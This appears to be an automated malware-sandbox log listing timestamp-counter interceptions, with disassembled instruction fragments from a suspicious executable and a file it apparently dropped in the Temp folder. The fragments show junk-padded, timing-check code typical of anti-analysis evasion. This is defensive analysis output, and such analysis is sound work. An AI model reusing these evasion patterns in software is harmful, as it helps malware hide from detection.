Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040685 second address: 50406EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e pushad 0x0000000f jmp 00007F62F8C4B1A9h 0x00000014 jmp 00007F62F8C4B1A0h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007F62F8C4B1A3h 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50406EB second address: 5040769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F62F943B87Eh 0x00000011 jmp 00007F62F943B885h 0x00000016 popfd 0x00000017 call 00007F62F943B880h 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f popad 0x00000020 push esi 0x00000021 jmp 00007F62F943B87Ch 0x00000026 mov dword ptr [esp], ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F62F943B887h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040769 second address: 504076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504076F second address: 5040773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040784 second address: 50407B8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F62F8C4B1A2h 0x00000008 sub esi, 0C276218h 0x0000000e jmp 00007F62F8C4B19Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov esi, eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov esi, 5B522BE1h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504006F second address: 50400A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F62F943B87Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F62F943B87Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50400A5 second address: 50400AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50400AB second address: 50400B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50400B1 second address: 50400B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50400B5 second address: 50400E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a movzx esi, dx 0x0000000d mov ax, dx 0x00000010 popad 0x00000011 mov dword ptr [ebp-04h], 55534552h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F62F943B882h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50400FB second address: 5040111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040111 second address: 5040185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62F943B887h 0x00000009 add esi, 05B899AEh 0x0000000f jmp 00007F62F943B889h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a leave 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F62F943B87Fh 0x00000024 sub cx, CFBEh 0x00000029 jmp 00007F62F943B889h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040BFF second address: 5040C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8D5Eh 0x00000007 mov ch, dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040C12 second address: 5040C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040C18 second address: 5040C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040C1C second address: 5040C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040C20 second address: 5040C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F62F8C4B1A8h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040C44 second address: 5040CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov di, 36CCh 0x0000000e mov edx, 31C9F3B8h 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov ebx, 514B81D0h 0x0000001c pushfd 0x0000001d jmp 00007F62F943B889h 0x00000022 and ah, 00000056h 0x00000025 jmp 00007F62F943B881h 0x0000002a popfd 0x0000002b popad 0x0000002c cmp dword ptr [75AB459Ch], 05h 0x00000033 jmp 00007F62F943B87Eh 0x00000038 je 00007F6369E495D0h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F62F943B87Dh 0x00000047 sub esi, 718E1266h 0x0000004d jmp 00007F62F943B881h 0x00000052 popfd 0x00000053 mov ch, BAh 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040CD7 second address: 5040CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040CF4 second address: 5040D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F62F943B886h 0x00000012 adc esi, 53B77798h 0x00000018 jmp 00007F62F943B87Bh 0x0000001d popfd 0x0000001e mov ebx, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040D95 second address: 5040DA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040DA4 second address: 5040DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 4A42EADAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040DAE second address: 5040DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push 51DE468Eh 0x0000000c pushad 0x0000000d mov dx, cx 0x00000010 mov ax, 80F5h 0x00000014 popad 0x00000015 xor dword ptr [esp], 2474DAA6h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F62F8C4B1A7h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040E48 second address: 5040E75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov al, dl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007F62F943B882h 0x00000012 je 00007F6369E3F394h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edx 0x0000001c pop eax 0x0000001d mov ah, dl 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040E75 second address: 5040E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B19Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040E87 second address: 5040E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 505099B second address: 50509BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ch, E9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50509BE second address: 50509DE instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, edx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F62F943B883h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50509DE second address: 5050A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov al, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F62F8C4B19Ch 0x00000010 mov ebp, esp 0x00000012 jmp 00007F62F8C4B1A0h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F62F8C4B19Eh 0x0000001f jmp 00007F62F8C4B1A5h 0x00000024 popfd 0x00000025 mov ah, A6h 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F62F8C4B1A4h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050A4A second address: 5050A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050A4E second address: 5050A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050A54 second address: 5050A5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050A5A second address: 5050A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050A5E second address: 5050A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F62F943B884h 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F62F943B87Ch 0x0000001a sbb ch, 00000028h 0x0000001d jmp 00007F62F943B87Bh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050A9D second address: 5050B3F instructions: 0x00000000 rdtsc 0x00000002 mov ch, B4h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F62F8C4B1A5h 0x0000000c xor ah, 00000046h 0x0000000f jmp 00007F62F8C4B1A1h 0x00000014 popfd 0x00000015 popad 0x00000016 test esi, esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F62F8C4B19Ch 0x0000001f add si, CBE8h 0x00000024 jmp 00007F62F8C4B19Bh 0x00000029 popfd 0x0000002a jmp 00007F62F8C4B1A8h 0x0000002f popad 0x00000030 je 00007F6369648A44h 0x00000036 jmp 00007F62F8C4B1A0h 0x0000003b cmp dword ptr [75AB459Ch], 05h 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F62F8C4B1A7h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050B3F second address: 5050B71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6369E511B1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F62F943B87Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050B71 second address: 5050B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B19Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050B81 second address: 5050B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050B85 second address: 5050BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F62F8C4B19Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62F8C4B19Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050BAB second address: 5050BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050BB1 second address: 5050BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050BB7 second address: 5050BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050C42 second address: 5050C48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050C6C second address: 5050C7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A75A9E second address: A75AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A6EBAC second address: A6EBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A6EBB0 second address: A6EBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F62F8C4B1A3h 0x0000000c jmp 00007F62F8C4B19Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A6EBC9 second address: A6EBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F62F943B876h 0x0000000a jo 00007F62F943B876h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A6EBD9 second address: A6EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A74C44 second address: A74C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F943B885h 0x00000008 jnp 00007F62F943B876h 0x0000000e jmp 00007F62F943B880h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007F62F943B87Dh 0x0000001a jmp 00007F62F943B885h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A74C9E second address: A74CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F62F8C4B196h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A74CAE second address: A74CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A74CB2 second address: A74CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A74DD8 second address: A74DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F62F943B87Dh 0x0000000e jnp 00007F62F943B882h 0x00000014 jnc 00007F62F943B876h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A74DFC second address: A74E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F62F8C4B1A8h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A78665 second address: A78669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A78758 second address: A787C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F62F8C4B1A8h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F62F8C4B19Bh 0x00000018 pop eax 0x00000019 push eax 0x0000001a stc 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F62F8C4B198h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d xor dword ptr [ebp+122D3657h], ecx 0x00000043 push E10E4E93h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A787C4 second address: A787C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A787C8 second address: A787CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A788D0 second address: A788DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A788DA second address: A78901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F8C4B1A9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A78AEB second address: A78AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A78AF1 second address: A78AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A78AF5 second address: A78BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 73C8A43Eh 0x0000000f mov edx, dword ptr [ebp+122D2CCEh] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1E10h] 0x0000001d push 00000000h 0x0000001f jmp 00007F62F943B888h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F62F943B878h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov edi, ecx 0x00000042 mov cx, 7F1Ah 0x00000046 sub esi, 37697B7Fh 0x0000004c push EE62F643h 0x00000051 pushad 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 jc 00007F62F943B876h 0x0000005b popad 0x0000005c jne 00007F62F943B878h 0x00000062 popad 0x00000063 xor dword ptr [esp], 2E62F643h 0x0000006a jmp 00007F62F943B887h 0x0000006f lea ebx, dword ptr [ebp+1244E59Ch] 0x00000075 mov edi, dword ptr [ebp+122D2CD2h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 jmp 00007F62F943B888h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A78BBD second address: A78BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A89FF5 second address: A8A00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A8A00E second address: A8A018 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62F8C4B19Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A8A018 second address: A8A02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F62F943B87Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A96C8D second address: A96CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F8C4B198h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnl 00007F62F8C4B196h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97079 second address: A97098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B885h 0x00000009 jo 00007F62F943B876h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A97098 second address: A9709C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	RDTSC instruction interceptor: First address: A975ED second address: A975FF instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
